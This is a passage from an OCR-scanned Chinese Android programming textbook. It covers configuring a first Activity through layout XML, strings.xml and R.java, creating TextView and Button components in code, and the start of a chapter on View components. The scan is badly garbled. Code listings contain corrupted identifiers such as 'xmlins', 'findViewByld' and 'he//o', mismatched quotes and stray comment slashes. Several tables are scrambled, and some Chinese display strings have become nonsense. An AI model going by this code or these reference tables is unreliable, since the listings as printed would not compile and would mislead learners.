android:label="@string/app_name"> // 从 资源 文件 中 取出 程序 的 名 称 
<intent-filter> /应 用 程序 一 运行 就 执行 此 Activity (Hello) 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 
</activity> 
</application> 
<uses-sdk android:minSdkVersion="10"/>  ”//Android 程序 使 用 的 最 低级 别 
</manifest> 
在 <application> 节 点 中 配置 的 android:icon="@drawablelicon", 表示 引用 drawable (drawable-hdpi、 
drawable-ldpi、drawable-mdpi 3 个 文件 夹 中 导入 ) 资源 配置 的 图 标 ， 引 入 的 图 标 名 称 为 icon。 
在 <application> 节 点 中 配置 的 android:label="@string/app_name"， 表 示 此 应 用 程序 的 标签 名 
称 从 strings.xml 文件 中 读 取 ， 读 取 key 是 app_name 对 应 的 信息 。 


“了 /提示 


关于 <intent-filter> 节 点 的 说 明 。 

<intent-filter> 表 示 执 行 此 Activity 时 所 需要 的 一 些 过 滤 操 作 ， 本 次 配置 的 MAIN 和 
LAUNCHER 表示 的 是 一 个 Activity 程序 在 一 个 Android 程序 运行 时 将 自动 执行 ,关于 此 部 分 
内 容 将 在 第 9 章 中 详细 讲解 。 


《人 s 直 家 

编写 “android:name=".Hello"” 时 一 定 要 加 上 “.”。 

在 编写 <activity> 节 点 的 android:name 属性 时 ， 所 设置 的 内 容 一 定 要 在 前 面 加 上 “.”， 这 
样 与 <manifest> 节 点 中 的 package 属性 组 合 在 一 起 就 成 了 一 个 完整 的 “ 包 .类 ”名 称 了 。 
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3.3 第 一 个 Android 程序 


基本 的 Android 开发 环境 设置 完成 之 后 , 下 面 开始 对 第 一 个 Android 程序 进行 一 个 简单 的 深 
入 。 在 之 前 的 程序 中 ， 项 目 建 立 完 成 之 后 将 默认 显示 一 些 文字 ， 这 些 文字 信息 是 在 strings.xml 
文件 中 定义 的 。 那 么 下 面 将 建立 一 个 普通 的 文本 框 和 一 个 普通 的 按钮 ， 并 将 文本 框 的 内 容 设置 
为 “北京 魔 乐 科技 软件 学 院 (MLDN) ”， 将 按钮 的 内 容 设置 为 “ 按 我 ， 不 过 没 用 ”。 

为 了 能 够 在 手机 的 模拟 器 中 显示 一 个 文本 信息 和 按钮 ， 下 面 在 程序 中 增加 一 个 文本 框 和 一 
个 按钮 的 配置 ， 直 接 修改 layoutmain.xml 文件 ， 增 加 一 个 新 的 文本 显示 框 〈TextView) 和 一 个 
按钮 (Button) 。 

【 例 3-6】 修改 layoutmain.xml 文件 ， 增 加 新 的 文本 显示 框 及 按钮 


<?xml version= "1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 定 义 文本 显示 组 件 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text="@string/hello”" /> // 默 认 显 示 文 字 
<TextView // 定 义 文本 显示 组 件 
android:id="@+id/mytext” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content" /> 1/ 组件 高 度 为 文字 高 度 
<Button /| 定义 按钮 组 件 
android:id="@+id/mybut" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content" /> 1/ 组件 高 度 为 文字 高 度 
</LinearLayout> 


本 程序 在 原 有 程序 基础 上 增加 了 一 个 文本 显示 框 (TextView) 和 一 个 普通 的 按钮 (Button) ， 
分 别 指定 其 id 为 mytext 和 mybut。 


束 提 示 

文本 显示 框 和 按钮 为 以 后 要 学 习 的 组 件 。 

<TextView> 为 图 形 显示 的 一 个 组 件 ， 而 <Button> 表 示 一 个 普通 的 按钮 ， 这 些 操作 将 在 以 
后 讲解 各 种 常用 组 件 时 进行 详细 讲解 ， 此 处 因为 读者 刚刚 接触 Android， 建 议 直接 按照 所 给 
程序 编写 即 可 。 


当 修 改 完 layoutmain xml 文件 之 后 ， 实 际 上 就 表示 在 此 项 目 之 中 新 增加 了 一 些 资 源 
(strings.xml 文件 的 内 容 也 属于 资源 ) ,而 这 些 配置 的 资源 将 自动 在 Rjava 文件 中 增加 相应 的 操 
作 配 置 ， 以 供 程序 访问 。 
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【 例 3-7】 观察 Rjava 中 的 自动 配置 
package org.Ixh.demo; 
public final class R{ 
public static final class attr { 
bi 
public static final class drawable { 
public static final int /con=0x7f020000; 
1 
public static final class id { 
public static final int mybut=0x7f050001: 
public static final int mytext=0x7f050000; 


public static final class layout { 
public static final int /main=0x7f030000; 


public static final class string { 
public static final int app_name=0x7f040001; 
public static final int he//o=0x7f040000; 
public static final int info=0x7f040002; 
} 
] 
在 R.java 文件 中 将 为 配置 好 的 字符 串 信 息 增 加 一 个 唯一 的 IJDP， 以 后 在 程序 中 就 可 以 进行 访 
问 了 , 而 且 通 过 R.java 可 以 发 现 , 这 些 注 册 的 资源 信息 都 是 通过 一 个 整 型 变量 来 表示 唯一 ID 的 ， 
这 与 以 后 程序 中 要 使 用 的 findViewById(int id) 方 法 是 有 直接 关系 的 ， 该 方法 需要 接收 一 个 int 型 
的 ID， 并 通过 此 ID 取得 相应 的 组 件 。 


ho 注 总 

R.java 文件 不 可 手工 修改 。 

Rjava 程序 中 的 所 有 内 容 为 Eclipse 自动 为 用 户 配置 的 ， 用 户 万 万 不 可 手工 完成 修改 ， 否 
则 有 可 能 会 造成 程序 的 混乱 。 


编写 完成 之 后 ， 下 面 就 可 以 在 Hello 这 个 Activity 程序 中 通过 资源 文件 (Rjava) 找 到 文本 

显示 组 件 以 及 按钮 组 件 ， 并 且 设 置 文本 框 中 的 内 容 。 
【 例 3-8】 修改 Hellojava 程序 ， 取 得 文本 显示 框 和 按钮 ， 并 设置 显示 的 文字 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.Button; 

import android.widget. TextView; 

public class Hello extends Activity { 


@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 调 用 父 类 的 onCreate() 方 法 
super.setContentView(R.layout.main); /1 调用 布局 文件 


/取得 在 AndroidManifest xml 配置 的 组 件 
TextView text = (TextView) super .findViewById(R.id.mytext); 
/设置 此 文本 框 的 显示 文字 信息 
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text.setText(" 北 京 魔 乐 科技 软件 学 院 (MLDN)"); 
/取得 在 AndroidManifest.xml 配置 的 组 件 
Button but = (Button) super .findViewByld(R.id.mybut) ; 
// 设 置 按钮 上 的 显示 文字 信息 
but.setText(" 按 我 ， 不 过 没 用 ! ") ; 

} 


} 

本 程序 是 一 个 Activity 程序 ， 所 有 的 Activity 程序 都 默认 继承 Activity 类 ， 并 且 要 履 写 此 类 
中 的 onCreate0 方 法 (可 以 将 此 方法 理解 为 main() 方 法 , 表示 从 此 方法 开始 执行 ), 这 样 在 Android 
项 目 执行 时 才 会 自动 运行 ， 而 通过 程序 中 的 setContentView0 方 法 ， 可 以 设置 本 Activity 程序 要 
使 用 的 布局 管理 器 ， 此 处 设置 的 布局 管理 器 是 layoutmain.xml 文件 ， 而 在 设置 时 使 用 的 是 ID 的 
方式 找到 的 〈R.layoutmain) ， 设 置 完 布局 管理 器 之 后 才 可 以 取得 在 main.xml 文件 中 所 定义 的 
各 个 组 件 ( 两 个 文本 显示 框 TextView 和 一 个 按钮 Button) ， 随 后 通过 super.findViewById() 方 法 
分 别 从 Rjava 中 取得 了 文本 显示 框 控 件 (R.id.mytext) 和 按钮 控件 (Ridmybut) 的 对 象 〈 每 一 
个 组 件 都 对 应 一 个 ID, 这 些 ID 在 Rjava 中 自动 注册 ) ,之 后 分 别 使 用 setText() 方 法 设置 文本 框 
中 的 显示 内 容 ， 此 时 程序 的 运行 效果 如 图 3-2 所 示 。 


/提示 

此 时 按钮 没有 任何 效果 。 

本 程序 中 增加 了 一 个 操作 的 按钮 ， 但 是 由 于 没有 任何 的 监听 程序 支持 ， 所 以 此 按钮 不 会 
有 任何 反应 ， 关 于 此 部 分 的 内 容 将 在 第 5 章 中 详细 介绍 ， 此 处 只 需要 观察 运行 效果 即 可 。 


图 3-2 设置 文本 组 件 的 显示 文字 (为 了 方便 排版 采用 横 屏 方式 显示 )》 


Android 程序 由 两 部 分 组 成 。 
通过 上 面 的 范例 可 以 发 现 ， 一 个 Android 程序 实际 上 由 两 部 分 组 成 : *.xml 文件 配置 组 
件 和 *.java 程序 取得 组 件 ， 这 与 Adobe 的 FLEX 技术 非常 相似 。 
以 上 程序 是 直接 将 具体 的 文字 信息 写 在 了 程序 中 ， 当 然 ， 还 可 以 将 所 有 要 显示 的 文字 信息 
直接 在 values\strings.xml 文件 中 进行 配置 。 
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【 例 3-9】 编辑 values\strings.xml 文件 ， 加 入 两 条 新 的 内 容 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string name="hello">Hello World, Hellol</string> 
<string name="app_name">myfirst</string> 
<string name="info"> 北 京 魔 乐 科技 软件 学 院 (MLDN)</string> 
<string name="msg"> 按 我 ， 不 过 没 用 ! </string> 
</resources> 
上 述 程 序 中 表示 增加 了 两 个 新 的 信息 对 (info= 北 京 魔 乐 科技 软件 学 院 (MLDN) 、msg= 按 
我 ， 不 过 没 用 ! ) ， 在 以 后 的 程序 中 将 通过 key 取得 其 对 应 的 值 ， 而 当 strings.xml 文件 被 修改 
之 后 ， 将 自动 在 Rjava 文件 中 对 此 字符 串 进行 注册 。 
【 例 3-10】 观察 Rjava 文件 的 内 容 
package org.Ixh.demo; 
public final class R{ 
public static final class attr { 
) 
public static final class drawable { 
public static final int icon=0x7f020000; 


} 
public static final class id { 
public static final int mybut=0x7f050001; 
public static final int mytext=0x7f050000; 
} 
public static final class layout { 
public static final int main=0x7f030000; 
} 
public static final class string { 
public static final int app_name=0x7f040001; 
public static final int hello=0x7f040000; 
public static final int info=0x7f040002: 
public static final int msg=0x7f040003: 
} 
此 时 ， 可 以 直接 将 strings.xml 文件 中 配置 的 相关 内 容 ， 通 过 main.xml 文件 直接 设置 到 要 显 
示 的 控件 上 去 ， 使 用 android:text 属性 即 可 指定 。 
【 例 3-11】 修改 layoutmain xml 文件 ， 直 接 将 stings xml 文件 中 的 内 容 设置 到 文本 控件 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout xmIns:android="http:/schemas.android.com/apk/res/android" 


android:orientation="vertical" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent"> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<TextView /定义 文本 显示 组 件 
android:layout_width="fill_parent”" /组件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text="@string/hello" /> // 从 资源 文件 中 读 取 默认 显示 文字 
<TextView // 定 义 文本 显示 组 件 
android:id="@+id/mytext" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content” ”// 组 件 高 度 为 文字 高 度 
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android:text="@string/info" /> // 从 资源 文件 中 读 取 默 认 显 示 文字 
<Button // 定 义 按钮 组 件 
android:id="@+id/mybut” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text="@string/msg" /> // 从 资源 文件 中 读 取 默认 显示 文字 
</LinearLayout> 


上 述 程序 在 配置 mytext 文本 组 件 和 mybut 按钮 组 件 时 使 用 了 android:text 属性 , 而 此 属性 设 
置 的 内 容 是 @string/info 和 @string/msg， 表 示 从 values\strings.xml 文件 中 读 取 key 为 info 和 msg 
的 字符 串 内 容 ， 而 因此 处 是 直接 配置 的 ， 所 以 Hellojava 中 不 用 做 任何 处 理 。 

【 例 3-12】 将 Hellojava 程序 中 所 有 设置 文本 框 内 容 的 操作 删除 

package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
public class Hello extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


} 
} 
此 时 ， 即 使 不 编写 任何 代码 也 可 以 正常 地 设置 文本 ， 程 序 的 运行 效果 如 图 3-3 所 示 。 


按 我 ， 不 过 没 用 ! 


ey 


图 3-3 通过 资源 文件 配置 显示 信息 


元 提示 

配置 与 程序 相 分 离 。 

在 实际 开发 中 ， 肯 定 要 显示 大 量 的 信息 ， 为 了 保证 程序 的 可 维护 性 ， 建 议 不 要 将 所 有 的 
显示 信息 直接 在 程序 中 编写 ， 而 都 在 配置 的 资源 文件 中 编写 ， 这 样 做 也 符合 MVC 设计 模式 
的 要 求 。 

本 书 在 以 后 讲解 时 ， 受 篇 幅 所 限 以 及 为 了 读者 更 好 地 理解 代码 ， 而 将 所 有 的 文字 信息 都 
直接 写 在 程序 代码 之 中 ， 而 在 开发 中 ， 建 议 读者 按照 本 代码 的 形式 编写 项 目 。 
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3.4 第 一 个 Android 程序 深入 


以 上 程序 是 通过 配置 布局 管理 器 的 形式 设置 的 组 件 ， 而 在 Activity 程序 中 ， 通 过 
findViewById() 方 法 取得 每 一 个 实例 化 好 的 组 件 ， 但 是 在 Android 程序 中 ， 每 一 个 显示 的 组 件 实 
际 上 都 可 以 通过 一 个 具体 的 类 表示 ， 那 么 用 户 就 可 以 直接 利用 构造 方法 实例 化 这 些 组 件 的 对 象 ， 
之 后 通过 程序 进行 显示 。Android 系统 中 大 部 分 的 显示 组 件 在 进行 实例 化 时 都 需要 指定 当前 的 
Activity 程序 的 上 下 文 操作 。 

例如 ， 以 下 代码 是 在 一 个 Activity 程序 中 实例 化 了 一 个 TextView 类 的 对 象 ; 

TextView text = new TextView(this) ; 

在 通过 关键 字 new 进行 对 象 实例 化 时 ， 使 用 了 一 个 关键 字 this，this 表示 当前 要 进行 组 件 显 
示 的 Activity 程序 (严格 来 讲 是 一 个 Context 对 象 ) ， 而 随后 依然 可 以 利用 TextView 类 中 提供 
的 setText0 方 法 设置 显示 的 文字 ,而 显示 的 文字 信息 可 以 直接 利用 Activity 类 中 提供 的 getStringO 
方法 从 资源 文件 (strings.xml〉 中 取得 。 

【 例 3-13】 通过 Activity 程序 显示 文本 组 件 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget. TextView; 

public class Hello extends Activity { 


@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 调 用 父 类 的 onCreate() 方 法 
TextView text = new TextView(this) ; /定义 文本 显示 组 件 
text.setText(super.getString(R.string.info)) ; // 设 置 组 件 文字 
super.setContentView(text); /设置 显示 组 件 

} 


} 

由 于 本 程序 是 直接 通过 程序 生成 的 显示 组 件 ， 所 以 程序 中 不 再 需要 加 载 main.xml 的 布局 管 
理 器 文件 (相当 于 省 略 了 “super.setContentView(R.layout.main):” 程 序 语 句 ) ， 当 程序 生成 组 件 
之 后 , 直接 利用 setContextView() 方 法 将 文本 组 件 加 入 到 显示 的 容器 中 , 程序 的 运行 效果 如 图 3-4 
所 示 。 


= 


提示 

本 程序 将 只 显示 一 个 文本 。 

编写 本 程序 的 主要 目的 是 希望 读者 清楚 ， 在 Android 操作 系统 中 ， 所 有 的 组 件 既 可 以 通 
;过 配置 文件 完成 配置 ， 也 可 以 通过 程序 代码 编写 完成 ， 但 是 另 一 方面 ， 由 于 本 程序 没有 加 入 
;任何 布局 管理 器 的 控制 ， 所 以 当 程序 运行 后 ， 界 面 中 只 会 显示 一 个 文本 显示 组 件 的 操作 ， 而 
， 如 何 通过 程序 控制 各 个 组 件 的 布局 ， 将 在 第 7 章 中 详细 解释 。 
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图 3-4 通过 程序 生成 组 件 


与 之 前 通过 配置 生成 的 程序 相 比 可 以 发 现 ， 两 者 的 区 别 如 下 。 

(1) 通过 配置 文件 生成 的 组 件 ，Activity 程序 中 需要 设置 默认 布局 管理 器 : 
super.setContentView(R.layout.main); 

(2) 通过 程序 生成 时 ， 所 设置 的 就 是 一 个 要 显示 的 组 件 ， 而 不 再 需要 设置 布局 管理 器 ; 
super.setContentView(text); 

但 是 ， 利 用 编程 方式 所 生成 的 组 件 ， 每 次 只 能 显示 一 种 组 件 ， 而 且 没 有 布局 管理 器 对 组 件 
进行 管理 ， 所 以 下 面 对 程 序 做 进一步 的 扩充 ， 定 义 一 个 线性 布局 管理 器 (LinearLayout) 对象， 
并 在 其 中 增加 多 个 组 件 。 

【 例 3-14】 定义 布局 管理 器 ， 并 增加 组 件 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.Button; 

import android.widget.LinearLayout; 

import android.widget. TextView; 

public class Hello extends Activity { 


@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 调 用 父 类 的 onCreate() 方 法 


LinearLayout layout = new LinearLayout(this) ; // 定 义 布局 管理 器 
layout.setOrientation(LinearLayout.VERTICAL) ; // 垂 直 摆 放 所 有 组 件 


TextView text = new TextView(this) ; // 创 建文 本 显示 组 件 
text.setText(super.getString(R.string.info)) ; // 从 资源 文件 中 设置 显示 文字 
Button but = new Button(this) ; // 创 建 按钮 
but.setText(super.getString(R.string.msg)) ; // 设 置 显示 文字 
layout.addView(text) ; // 增 加 组 件 
layout.addView(but) ; // 增 加 组 件 
super.setContentView(layout); /设置 默认 布局 管理 器 


} 
} 
本 程序 首先 实例 化 一 个 LinearLayout 类 的 对 象 , 之 后 通过 setOrientation() 方 法 将 当前 布局 管 
理 器 的 组 件 设置 冬 直 (LinearLayout.VERTICAL) 摆 放 ， 随 后 利用 addView() 方 法 向 布局 管理 器 


42 


第 3 章 初 识 Activity 


中 增加 TextView 和 Button 两 个 组 件 ， 程 序 的 运行 效果 如 图 3-5 所 示 。 


图 3-5 通过 代码 生成 组 件 


关于 组 件 的 配置 与 类 。 
通过 以 上 代码 可 以 发 现 ， 在 Android 的 开发 中 ， 所 有 组 件 既 可 以 通过 配置 的 形式 完成 定 
义 ， 也 可 以 利用 程序 生成 ， 这 样 极 大 地 方便 了 开发 者 的 使 用 ， 也 让 程序 的 操作 更 加 灵活 。 


3.5 本 章 小 结 


(1) Android 项 目 由 若干 个 Activity 程序 所 组 成 ， 每 一 个 Activity 都 是 一 个 Java 类 。 

(2) 一 个 Android 项 目 中 所 有 用 到 的 资源 都 保存 在 res 文件 夹 中 。 

(3) Android 中 的 组 件 需 要 在 布局 管理 器 中 进行 配置 ， 之 后 在 Activity 程序 中 可 以 使 用 
findViewById( 方 法 查找 并 进行 控制 。 

(4) 在 布局 管理 器 中 定义 的 每 一 个 组 件 都 有 其 对 应 的 操作 类 ， 用 户 可 以 直接 实例 化 这 些 类 
的 对 象 进行 组 件 的 定义 显示 。 

(5) 标准 的 Android 项 目 ， 所 有 的 文字 显示 信息 应 该 保存 在 strings.xml 文件 中 。 
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通过 本 章 的 学 习 可 以 达到 以 下 目标 : 
掌握 View 类 和 各 UI 组 件 之 间 的 联系 。 
掌握 Android 中 的 常用 组 件 及 基本 操作 。 


可 以 使 用 Android 中 提供 的 显示 控件 完成 常用 界面 的 开发 。 


在 所 有 程序 设计 语言 中 ， 都 提供 了 图 形 用 户 界 面 (Graphical User Interface，GUI) 以 实现 人 
机 交互 的 操作 ， 在 Android 中 也 同样 提供 了 大 量 的 显示 组 件 ， 如 之 前 使 用 的 TextView 和 Button 
都 属于 UI 组 件 。 除 了 UI 组 件 之 外 ， 如 果 想 让 界面 显示 得 更 加 合理 ， 则 还 需要 配置 布局 管理 器 ; 
为 了 让 每 个 UI 组 件 的 操作 更 加 丰富 ， 还 需要 编写 相应 的 事件 处 理 代码 。 本 章 将 讲解 与 图 形 界面 
有 关 的 内 容 ， 而 事件 的 处 理 操作 将 在 第 6 章 详 细 介绍 。 


4.1 View 组 件 简 介 


Android 中 的 View 组 件 包 含 了 几乎 所 有 的 图 形 显示 组 件 ， 如 之 前 所 使 用 的 TextView 和 Button 
实际 上 都 是 View 类 的 子 类 , 如 图 4-1 所 示 。 而 在 android.view.View 类 中 还 定义 了 一 些 图 形 组 件 ， 
如 表 4-1 所 示 ， 这 些 类 都 是 在 android.widget 包 中 定义 的 。 


View 


Button || TextView || EditText | | CheckBox | | RadioGroup Spinner 
图 4-1 View 组件 
表 4-1 部 分 图 形 组 件 

No. 组 件 名 称 描述 
1 TextView 文本 显示 组 件 
少 Button 按钮 组 件 
3 EditText 可 编辑 的 文本 框 组 件 
4 CheckBox 复 选 框 组 件 
多 RadioGroi 单 选 按钮 组 件 
6 Spinner 下 拉 列 表 框 组 件 
7 DatePicker 日 期 选择 组 件 
8 TimePicker 时 间 选 择 组 件 
9 ScrollView, 深 动 条 组 件 
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No. 组 件 名 称 描述 
10 ProgressBar 进度 处 理 条 组 件 
Ey) SeekBar 拖 动 条 组 件 
12 RatingBar 评分 组 件 
13 ImageView 图 片 显示 组 件 
14 ImageButton 图 片 按钮 组 件 
15 AutoCompleteTextView 自动 完成 文本 组 件 
16 Dialog 对 话 框 组 件 
时 Toast 信息 组 件 
18 Menu 菜单 显示 组 件 


进行 注册 后 才 可 以 显示 ， 也 可 以 直接 通过 Activity 程序 进行 控制 。 


【 例 4-1】 


<TextView 


在 main.xml 文件 中 的 组 件 配置 回顾 


android:layout_width="fill_parent”" 
android:layout_height="wrap_content” 
android:text="@string/hello" /> 


可 以 发 现 ， 在 配置 每 一 个 组 件 时 都 需要 编写 大 量 的 属性 信息 


配置 TextView 


通过 之 前 的 程序 可 以 知道 ,所 有 在 android.widget 包 中 定义 的 组 件 都 需要 在 main.xml 文件 中 


而 文件 中 配置 的 属性 信息 实际 


上 在 Activity 程序 中 也 可 以 进行 控制 ， 其 中 常见 的 属性 作用 及 对 应 的 Activity 方法 如 表 4-2 所 示 。 
表 4-2 View 组 件 常用 属性 及 操作 方法 


No 属性 名 称 方法 名 称 描述 
ublic void setBackgroundResource (int | ,, 
1 | android:background 后 站 a 设置 组 件 背 景 
Tesid) 
bli id setClickabl 1 
2 | android:clickable Ey Me vou etherable (ioolean 是 否 可 以 产生 单 击 事件 
clickable) 
ublic void setContentDescriptio Pe 
3 android:contentDescription EE 定义 视图 的 内 容 描述 
CharSequence contentDescription 
. public void setDrawingCacheQuality 设置 绘图 时 所 需要 的 组 
4 android:drawingCacheQuality . 
(int quality) 冲 区 大 小 
bli id setF bl 1 但 庄 上 上 
5 | android:focusable 人 设置 是 否 可 以 获得 焦点 
focusable) 
public void setFocusableInTouchMode “| 在 触摸 模式 下 配置 是 否 
6 android:focusableInTouchMode i 
boolean focusableInTouchMode 可 以 获得 焦点 
7 | android:id public void setId (int id 设置 组 件 了 D 
blic void setLongClickable (bool ra 
8 | android:longClickable ee un Se On “an | 设置 长 按 事 件 是 否 可 用 
longClickable) 
9 | android:minHeight 定义 视图 的 最 小 高 度 
10 | android:minWidth 定义 视图 的 最 小 宽度 
blic void setPadding (int left. int top, es 
1 | ia | 所 有 的 类 到 


int right, int bottom) 
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续 表 
No. 属性 名 称 方法 名 称 描 ” 述 
12 | .ianoid oddingBoldin lie ean setPadding (int left, int top, 填充 下 边缘 
int right, int bottom) 
13 | android:paddingLeft bie We Pa nt el nt ol 填充 左边 缘 
int right, int bottom) 
i | dn ole We setPadding (int left, int top, 填充 右边 缘 
int right int bottom) 
这 | 计 P| 十 亢 上 过 
16 | android:scaleX public void setScaleX (float scaleX) 设置 X 轴 缩放 
17 | android:scaleY ublic void setScaleY (float scaleY) 设置 Y 轴 缩放 
18 | android:scrollbarSize 设置 滚动 条 大 小 
19 | android:scrollbarStyle public void setScrollBarStyle (int style) | 设置 深 动 条 样式 
20 | android:visibili public void setVisibility (int visibility) 设置 是 否 显示 组 件 
21 | android:layout_ width 定义 组 件 显示 的 宽度 
22 | android:layout height 定义 组 件 显示 的 高 度 
23 | android:layout gravi 组 件 文字 的 对 齐 位 置 
24 | android:layout margin 设置 文字 的 边 距 
25 | android:layout marginTop 上 边 距 
26 | android:layout marginBottom 下 边 距 
27 | android:layout marginLeft 左边 距 
28 | android:layout marginRight 右边 距 
29 | android:backeround 设置 背景 颜色 
在 Android 组 件 中 ，View 是 一 个 最 大 的 类 ， 所 有 的 布局 管理 器 、 显 示 组 件 都 是 View 类 的 
子 类 , 而 且 View 类 本 身 也 实现 了 大 量 的 接口 , 在 表 4-2 中 只 列 出 了 一 些 常 见 的 配置 属性 及 方法 ， 
而 关于 更 多 的 方法 ， 随 着 学 习 的 深入 将 会 有 更 多 的 了 解 。 


ce 


提示 
以 后 重复 的 属性 不 再 列 出 。 
在 Android 定义 的 各 个 UI 组 件 中 ， 有 许多 节点 配置 属性 都 是 相同 的 ， 所 以 以 后 在 讲解 
各 个 组 件 时 只 列 出 此 组 件 中 所 需要 的 属性 ， 重 复 的 不 再 列 出 ,但 为 了 方便 读者 阅读 ,会 在 需 
要 的 地 方 为 代码 添加 完整 的 说 明 信 息 。 


下 面 将 通过 几 个 组 件 的 操作 案例 来 加 深 读者 对 View 及 Activity 操作 的 认识 。 
4.2 文本 显示 组 件 : TextView 


文本 显示 组 件 〈TextView) 的 主要 功能 是 用 于 显示 文本 ， 实 际 上 主要 就 是 提供 了 一 个 标签 
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的 显示 操作 ， 此 类 定义 如 下 : 
java.lang.Object 


b android.view.View 


b android.widget. TextView 
此 组 件 在 使 用 时 需要 在 main.xml 文件 中 进行 注册 ， 注 册 时 使 用 <TextView> 节 点 即 可 ， 在 此 
节点 中 常用 的 属性 及 对 应 方法 如 表 4-3 所 示 。 


表 4-3 ”<TextView> 组 件 的 常用 属性 及 对 应 方法 


No. 配置 属性 名 称 对 应 方法 描述 
1 android:text public final void setText (CharSequence text) | 定义 组 件 的 显示 文字 
android:maxLength public void setFilters (InputFilter[] filters) 设置 组 件 最 大 允许 长 度 


blic void setTextColor (ColorStateList Pr 
3 android:textColor te pte Ie GOS ie 设置 组 件 的 文本 颜色 


4 icvoi stSi i 设置 显示 的 文字 大 小 
设置 文字 显示 的 样式 ， 

i 
、 和 斜体 等 


6 android:selectAllOnFocus OO 默认 选中 并 获得 焦点 
selectAllOnFocus. 
a Bt . public final void setTransformationMethod 按 密 文 方式 显示 文本 
ee (TransformationMethod method) 信息 


下 面 使 用 表 4-3 中 的 属性 建立 几 个 文本 显示 框 , 读者 可 根据 其 运行 效果 , 观察 所 设置 属性 的 
作用 。 
【 例 4-2】 建立 多 个 文本 显示 框 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout xmIns:android="http:/schemas.android.com/apk/res/android”" 


android:orientation="Vertica/” // 所 有 组 件 垂直 摆 放 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 

<TextView // 定 义 文本 显示 框 组 件 
android:id="@+id/mytext1" // 定 义 此 文本 组 件 的 ID， 为 Activity 程序 使 用 
android:layout_width="fill_parent” // 宽 度 为 整个 容器 的 宽度 
android:layout_height= "wrap_content” ”// 高 度 为 文字 高 度 
android:textColor=#FFFFOO” // 文 字 的 颜色 设置 为 黄色 的 RGB 码 
android:textSize="12pt" // 设 置 文字 大 小 为 12 像素 
android:text= "万 克 矿 乐 稍 龙 丈 余党 陆 (MLDN)“"/> /设置 默认 的 显示 文本 

<TextView /定义 文本 显示 框 组件 
android:id="@+id/mytext2" // 定 义 此 文本 组 件 的 ID， 为 Activity 程序 使 用 
android:layout_width="fill_parent” /宽度 为 整个 容器 的 宽度 


android:layout_height="wrap_content” ”// 高 度 为 文字 高 度 
android:text=" 契 在 :www.mldnjava.cn” ”// 默 认 的 文本 信息 


android:layout_margin="30px" /> /距离 左边 30 个 像素 的 距离 

<TextView // 定 义 文本 显示 框 组 件 
android:id="@+id/mytext3" // 定 义 此 文本 组 件 的 ID， 为 Activity 程序 使 用 
android:layout_width="fil_parent” // 宽 度 为 整个 容器 的 宽度 
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android:layout_height="wrap_content” 
android:text=" 蕉 光华 老 访 " 
android:layout_marginTop="10px” 
android:maxLength="3" /> 

<TextView 
android:id="@+id/mytext4" 
android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:background="@drawable/logo” 
android:text=" 这 征 疾 背 质 上 扒 疼 完 信 请" 
android:textStyle="bold” 
android:textColor="#000000" /> 


</LinearLayout> 


旦 序 的 运行 效果 如 图 4-2 所 示 。 


// 高 度 为 文字 高 度 

// 设 置 显示 文字 

/设置 距离 上 边 控件 距离 为 10 像素 
// 只 显示 3 个 长 度 文字 

// 定 义 文本 显示 框 组 件 

/| 定义 此 文本 组 件 的 1D， 为 Activity 程序 使 用 
// 宽 度 为 图 片 宽度 

// 高 度 为 图 片 高 度 

// 将 文本 框 的 背景 设置 为 图 片 

// 设 置 显示 文字 

// 设 置 为 粗 体 文字 

/文字 颜色 为 黑色 


北京 麻 乐 科技 软件 学 院 ( MLDN ) 


这 是 在 草地 二 的 文 庆 信 息 : 


订 生 科技 ，。 


图 4-2 设置 多 


是 为 了 以 后 可 以 直接 在 


自动 在 Rjava 中 分 别 注册 此 4 个 组 件 的 ID。 
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【 例 4-3】 观察 Rjava 中 的 注册 信息 
package org.Ixh.demo; 
public final class R{ 


public static final class attr { 
} 
public static final class drawable { 
public static final int icon=0x7f020000; 


-个 Activity 程序 中 使 帮 


个 文本 显示 组 件 


下 面 分 别 讲解 以 上 4 个 文本 显示 框 的 配置 作用 。 
属性 , 这 样 做 的 目的 


在 这 4 个 文本 显示 框 中 都 定义 了 android:id 
